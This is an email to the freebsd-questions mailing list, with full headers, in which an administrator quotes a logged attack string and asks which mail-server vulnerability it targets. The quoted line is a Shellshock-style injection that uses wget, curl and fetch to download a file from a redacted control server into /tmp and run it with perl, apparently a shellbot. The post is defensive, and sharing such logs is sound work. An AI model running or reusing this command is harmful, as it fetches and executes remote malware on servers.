From nobody Sun Jun 11 11:38:58 2023 X-Original-To: freebsd-questions@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QfCWw6nlsz4cXc4 for ; Sun, 11 Jun 2023 11:39:08 +0000 (UTC) (envelope-from ml@netfence.it) Received: from soth.netfence.it (mailserver.netfence.it [78.134.96.152]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (2048 bits) client-digest SHA256) (Client CN "mailserver.netfence.it", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QfCWt1V3fz4NWr for ; Sun, 11 Jun 2023 11:39:05 +0000 (UTC) (envelope-from ml@netfence.it) Authentication-Results: mx1.freebsd.org; dkim=none; spf=pass (mx1.freebsd.org: domain of ml@netfence.it designates 78.134.96.152 as permitted sender) smtp.mailfrom=ml@netfence.it; dmarc=pass (policy=none) header.from=netfence.it Received: from [10.1.2.18] (alamar.local.netfence.it [10.1.2.18]) (authenticated bits=0) by soth.netfence.it (8.17.1/8.17.1) with ESMTPSA id 35BBcw2E064905 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO) for ; Sun, 11 Jun 2023 13:38:58 +0200 (CEST) (envelope-from ml@netfence.it) X-Authentication-Warning: soth.netfence.it: Host alamar.local.netfence.it [10.1.2.18] claimed to be [10.1.2.18] Message-ID: <7128b00c-0427-6f76-bd37-770947aae245@netfence.it> Date: Sun, 11 Jun 2023 13:38:58 +0200 List-Id: User questions List-Archive: https://lists.freebsd.org/archives/freebsd-questions List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-questions@freebsd.org X-BeenThere: freebsd-questions@freebsd.org MIME-Version: 1.0 User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:102.0) Gecko/20100101 Thunderbird/102.12.0 Content-Language: en-US To: freebsd-questions@freebsd.org From: Andrea Venturoli Subject: Attempted mail attack Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Spamd-Result: default: False [-3.73 / 15.00]; NEURAL_HAM_LONG(-1.00)[-1.000]; NEURAL_HAM_MEDIUM(-1.00)[-0.997]; NEURAL_HAM_SHORT(-0.93)[-0.929]; DMARC_POLICY_ALLOW(-0.50)[netfence.it,none]; R_SPF_ALLOW(-0.20)[+ip4:78.134.96.152]; MIME_GOOD(-0.10)[text/plain]; MLMMJ_DEST(0.00)[freebsd-questions@freebsd.org]; RCVD_VIA_SMTP_AUTH(0.00)[]; R_DKIM_NA(0.00)[]; FROM_EQ_ENVFROM(0.00)[]; ASN(0.00)[asn:35612, ipnet:78.134.0.0/17, country:IT]; MIME_TRACE(0.00)[0:+]; BLOCKLISTDE_FAIL(0.00)[78.134.96.152:server fail]; HAS_XAW(0.00)[]; RCPT_COUNT_ONE(0.00)[1]; MID_RHS_MATCH_FROM(0.00)[]; ARC_NA(0.00)[]; RCVD_COUNT_TWO(0.00)[2]; FROM_HAS_DN(0.00)[]; TO_DN_NONE(0.00)[]; TO_MATCH_ENVRCPT_ALL(0.00)[]; PREVIOUSLY_DELIVERED(0.00)[freebsd-questions@freebsd.org]; RCVD_TLS_ALL(0.00)[] X-Rspamd-Queue-Id: 4QfCWt1V3fz4NWr X-Spamd-Bar: --- X-ThisMailContainsUnwantedMimeParts: N Hello. Checking daily periodics of different servers, I'm seeing a variation of this: > Checking for rejected mail hosts: > 1 553 check_mail () { :; }; cd /tmp;wget x.y.z.w5/meh;perl meh;curl -O x.y.z.w/meh;perl meh;fetch http://x.y.z.w/meh;perl meh;rm -f meh* {:;};cd/tmp;wget.x.y.z.w/meh;... (I've redacted the C&C IP, even if it's already down). Of course they are attempting to download a Perl Shellbot (and failing). I'm curious, though, what vulnerability they are trying to exploit in order to do this? Is it some old one in sendmail? Or what? bye & Thanks av.